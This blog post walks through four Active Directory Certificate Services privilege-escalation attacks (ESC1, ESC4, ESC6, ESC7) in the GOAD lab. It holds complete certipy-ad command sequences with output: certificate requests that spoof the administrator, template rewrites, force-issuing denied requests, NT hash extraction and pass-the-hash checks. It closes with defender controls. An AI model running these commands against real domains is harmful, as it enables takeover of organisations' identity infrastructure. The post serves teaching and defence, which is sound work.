The ESC8 post covered coercion to certificate relay. That attack required an unauthenticated network position and active relay infrastructure. This post covers what happens once you already have a foothold as a domain user. Four misconfigurations. All of them ship enabled in the GOAD lab. All of them produce Domain Admin.

The common thread across ESC1, ESC4, ESC6, and ESC7 is the same as ESC8: ADCS trusts things it should not. In ESC8, the trust was in the relay chain. Here, the trust is in the certificate template configuration and the CA permission model.

Foothold for all attacks: khal.drogo@essos.local with password horse. Domain Users group. Nothing special.


ESC1: Enrollee-Supplied Subject Alternative Name

The simplest of the four. A certificate template has EnrolleeSuppliesSubject set and allows Client Authentication. That combination means any user with enrolment rights can request a certificate that claims to be anyone in the domain.

There is no forgery involved. You are requesting a legitimate certificate. The CA issues it. You just put someone else’s UPN in the SAN field.

The GOAD lab ships with the ESC1 template pre-configured and enabled on ESSOS-CA. No setup required.

Enumeration

certipy-ad find -u khal.drogo@essos.local -p 'horse' -dc-ip 10.3.10.12 -stdout

The template flags that confirm the vulnerability:

Template Name             : ESC1
Enrollee Supplies Subject : True
Extended Key Usage        : Client Authentication
Enrollment Rights         : ESSOS.LOCAL\Domain Users

[!] Vulnerabilities
  ESC1 : Enrollee supplies subject and template allows client authentication.

Exploitation

Request a certificate with a spoofed UPN targeting the domain administrator. The -target flag must point to the CA host directly, not the DC, to reach the RPC endpoint.

certipy-ad req \
  -u khal.drogo@essos.local \
  -p 'horse' \
  -dc-ip 10.3.10.12 \
  -target braavos.essos.local \
  -ca ESSOS-CA \
  -template ESC1 \
  -upn administrator@essos.local \
  -out esc1_admin
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@essos.local'
[*] Wrote certificate and private key to 'esc1_admin.pfx'

Authenticate with the certificate to extract the NT hash via PKINIT.

certipy-ad auth -pfx esc1_admin.pfx -dc-ip 10.3.10.12 -no-save
[*] Got hash for 'administrator@essos.local': aad3b435b51404eeaad3b435b51404ee:c5f2d015f316018f6405522825689ffe

Validate with pass-the-hash.

nxc smb 10.3.10.12 -u administrator -H 'c5f2d015f316018f6405522825689ffe' -d essos.local
[+] essos.local\administrator:c5f2d015f316018f6405522825689ffe (Pwn3d!)

Three commands from domain user to Domain Admin. Zero changes to the environment.


ESC4: Write Permissions on a Certificate Template

ESC4 does not abuse a misconfigured template. It abuses write access to the template object itself. If a low-privileged user holds WritePropertyWriteDaclWriteOwner, or FullControl on a template in AD, they can rewrite the template’s attributes to introduce an ESC1-style misconfiguration, request a cert, and then restore the original configuration.

The ESC4 template in GOAD is deliberately hardened by default: no Client Authentication EKU, manager approval required, RA signature required. It is not exploitable on its own. The problem is the ACL: khal.drogo holds FullControl.

Enumeration

certipy-ad find -u khal.drogo@essos.local -p 'horse' -dc-ip 10.3.10.12 -stdout
Template Name                  : ESC4
Client Authentication          : False
Enrollee Supplies Subject      : False
Requires Manager Approval      : True
Authorized Signatures Required : 1
Extended Key Usage             : Code Signing
Full Control Principals        : ESSOS.LOCAL\khal.drogo

[!] Vulnerabilities
  ESC4 : User has dangerous permissions.

Exploitation

Back up the current template configuration before making any changes.

certipy-ad template \
  -u khal.drogo@essos.local \
  -p 'horse' \
  -dc-ip 10.3.10.12 \
  -template ESC4 \
  -save-configuration esc4_original.json
[*] Wrote current configuration for 'ESC4' to 'esc4_original.json'

Overwrite the template with certipy’s default vulnerable configuration. This sets EnrolleeSuppliesSubject, removes manager approval, drops the RA signature requirement, and replaces the EKU with Client Authentication.

certipy-ad template \
  -u khal.drogo@essos.local \
  -p 'horse' \
  -dc-ip 10.3.10.12 \
  -template ESC4 \
  -write-default-configuration \
  -no-save \
  -force
[*] Replacing:
[*]     pKIExtendedKeyUsage: ['1.3.6.1.5.5.7.3.2']   (Client Authentication)
[*]     msPKI-RA-Signature: 0
[*]     msPKI-Enrollment-Flag: 0
[*]     msPKI-Certificate-Name-Flag: 1                (EnrolleeSuppliesSubject)
[*] Successfully updated 'ESC4'

The template is now ESC1 equivalent. Request a certificate as administrator.

certipy-ad req \
  -u khal.drogo@essos.local \
  -p 'horse' \
  -dc-ip 10.3.10.12 \
  -target braavos.essos.local \
  -ca ESSOS-CA \
  -template ESC4 \
  -upn administrator@essos.local \
  -out esc4_admin
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@essos.local'
[*] Wrote certificate and private key to 'esc4_admin.pfx'
certipy-ad auth -pfx esc4_admin.pfx -dc-ip 10.3.10.12 -no-save
[*] Got hash for 'administrator@essos.local': aad3b435b51404eeaad3b435b51404ee:c5f2d015f316018f6405522825689ffe

Restore the original template. Leaving a permanently modified template is sloppy and will surface in any ADCS audit.

certipy-ad template \
  -u khal.drogo@essos.local \
  -p 'horse' \
  -dc-ip 10.3.10.12 \
  -template ESC4 \
  -write-configuration esc4_original.json \
  -no-save \
  -force
[*] Successfully updated 'ESC4'

Verify the restore: Client Authentication: FalseRequires Manager Approval: TrueAuthorized Signatures Required: 1. Back to the hardened state.


ESC6: EDITF_ATTRIBUTESUBJECTALTNAME2 on the CA

ESC1 lives on the template. ESC6 lives on the CA itself.

When EDITF_ATTRIBUTESUBJECTALTNAME2 is set on the CA, the CA will honour a user-supplied SAN on any request, regardless of whether the template has EnrolleeSuppliesSubject. Every template on that CA becomes a potential ESC1 path. Fixing one template changes nothing. The CA flag is what matters.

The flag was already visible in the ESC8 enumeration: User Specified SAN: Enabled on ESSOS-CA. No setup required.

Template Selection

Any template with Client Authentication or Any Purpose EKU, no manager approval, no RA signature requirement, and enrolment rights for a low-privileged principal will work. The ESC3 template looked like a candidate but requires an RA signature in practice. The ESC2 template fits cleanly: Any Purpose EKU, no approval gates, Domain Users enrolment rights.

Exploitation

The request looks identical to ESC1. The difference is that ESC2 does not have EnrolleeSuppliesSubject. The CA flag overrides that restriction and accepts the spoofed UPN anyway.

certipy-ad req \
  -u khal.drogo@essos.local \
  -p 'horse' \
  -dc-ip 10.3.10.12 \
  -target braavos.essos.local \
  -ca ESSOS-CA \
  -template ESC2 \
  -upn administrator@essos.local \
  -out esc6_admin
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@essos.local'
[*] Wrote certificate and private key to 'esc6_admin.pfx'
certipy-ad auth -pfx esc6_admin.pfx -dc-ip 10.3.10.12 -no-save
[*] Got hash for 'administrator@essos.local': aad3b435b51404eeaad3b435b51404ee:c5f2d015f316018f6405522825689ffe

Two commands. The CA-level flag turned every usable template on ESSOS-CA into an attack path simultaneously.


ESC7: CA Manager and Officer Role Abuse

ESC7 is not a template misconfiguration at all. It is a CA permissions problem.

Two CA rights are relevant. ManageCa (CA Manager) lets you modify the CA configuration: add or remove Officers, enable or disable templates, toggle the EDITF_ATTRIBUTESUBJECTALTNAME2 flag that drives ESC6. ManageCertificates (CA Officer) lets you approve, deny, and issue pending certificate requests.

The GOAD lab pre-grants khal.drogo both rights on ESSOS-CA.

ManageCa              : ESSOS.LOCAL\khal.drogo
ManageCertificates    : ESSOS.LOCAL\khal.drogo

[!] Vulnerabilities
  ESC7 : User has dangerous permissions.

The Attack Path

The SubCA template is enabled on the CA but restricts enrolment to Domain Admins. As a Domain User, any request against it will be denied. The key detail: certipy generates the private key client side before the request hits the CA. If you save the key on denial, you can then use the Officer role to force-issue the denied request and retrieve the certificate separately.

Exploitation

Confirm Officer rights. Since khal.drogo holds ManageCa, we can add ourselves as Officer if needed.

certipy-ad ca \
  -u khal.drogo@essos.local \
  -p 'horse' \
  -dc-ip 10.3.10.12 \
  -target braavos.essos.local \
  -ca ESSOS-CA \
  -add-officer khal.drogo
[*] User 'khal.drogo' already has officer rights on 'ESSOS-CA'

Submit the SubCA request. It will be denied due to enrolment permissions. Pipe y to answer the key-save prompt before certipy exits.

echo "y" | certipy-ad req \
  -u khal.drogo@essos.local \
  -p 'horse' \
  -dc-ip 10.3.10.12 \
  -target braavos.essos.local \
  -ca ESSOS-CA \
  -template SubCA \
  -upn administrator@essos.local \
  -out esc7_admin
[*] Request ID is 30
[-] Got error: CERTSRV_E_TEMPLATE_DENIED
Would you like to save the private key? (y/N): [*] Wrote private key to 'esc7_admin.key'

Note the request ID. Use the Officer role to force issue the denied request.

certipy-ad ca \
  -u khal.drogo@essos.local \
  -p 'horse' \
  -dc-ip 10.3.10.12 \
  -target braavos.essos.local \
  -ca ESSOS-CA \
  -issue-request 30
[*] Successfully issued certificate request ID 30

Retrieve the now issued certificate.

certipy-ad req \
  -u khal.drogo@essos.local \
  -p 'horse' \
  -dc-ip 10.3.10.12 \
  -target braavos.essos.local \
  -ca ESSOS-CA \
  -retrieve 30 \
  -out esc7_admin
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@essos.local'
[!] Could not find matching private key. Saving certificate as PEM
[*] Wrote certificate to 'esc7_admin.crt'

Certipy cannot auto match the key because the cert was retrieved in a separate operation. Combine them manually.

openssl pkcs12 -export \
  -in esc7_admin.crt \
  -inkey esc7_admin.key \
  -out esc7_admin.pfx \
  -passout pass:
certipy-ad auth -pfx esc7_admin.pfx -dc-ip 10.3.10.12 -no-save
[*] Got hash for 'administrator@essos.local': aad3b435b51404eeaad3b435b51404ee:c5f2d015f316018f6405522825689ffe

ESC1, ESC4, and ESC6 all result in the CA issuing a certificate automatically. ESC7 is different: the CA explicitly denies the request, and the Officer role overrides that denial after the fact. The private key never touches the CA. It exists locally before the request is even submitted.

ManageCa is also independently dangerous for reasons beyond ESC7. It can enable disabled templates, add Officers who did not previously exist, and toggle the EDITF_ATTRIBUTESUBJECTALTNAME2 flag directly, which enables ESC6 even in environments where it was not previously set.


Why This Matters for Defenders

These four attacks share a property: they all produce a legitimate certificate from a legitimate CA. The artifact the attacker walks away with is indistinguishable from a real certificate issued to a real user through normal enrolment. There is no forged Kerberos ticket. No password spray. No lateral movement visible in authentication logs at the point of exploitation.

Detection has to happen at the issuance layer, not the authentication layer.

For each attack type, the control that breaks the chain:

  • ESC1: Audit templates with EnrolleeSuppliesSubject enabled. That flag should exist on almost no production templates. Remove it where it is not explicitly required.
  • ESC4: Audit template ACLs. No non admin principal should hold WritePropertyWriteDaclWriteOwner, or FullControl on any template object in CN=Certificate Templates.
  • ESC6: Disable EDITF_ATTRIBUTESUBJECTALTNAME2 on every CA unless there is a documented operational need. There almost certainly is not.
  • ESC7: Audit ManageCa and ManageCertificates grants. These rights should belong exclusively to Tier 0 administrators. Treat the CA as Tier 0 infrastructure.

ADCS is PKI. PKI is identity. Identity is everything in an Active Directory environment. Most organisations treat ADCS as a background service that works until it does not. That attitude is exactly why these attacks work in the first place.


0 Comments

Leave a Reply

Avatar placeholder

Your email address will not be published. Required fields are marked *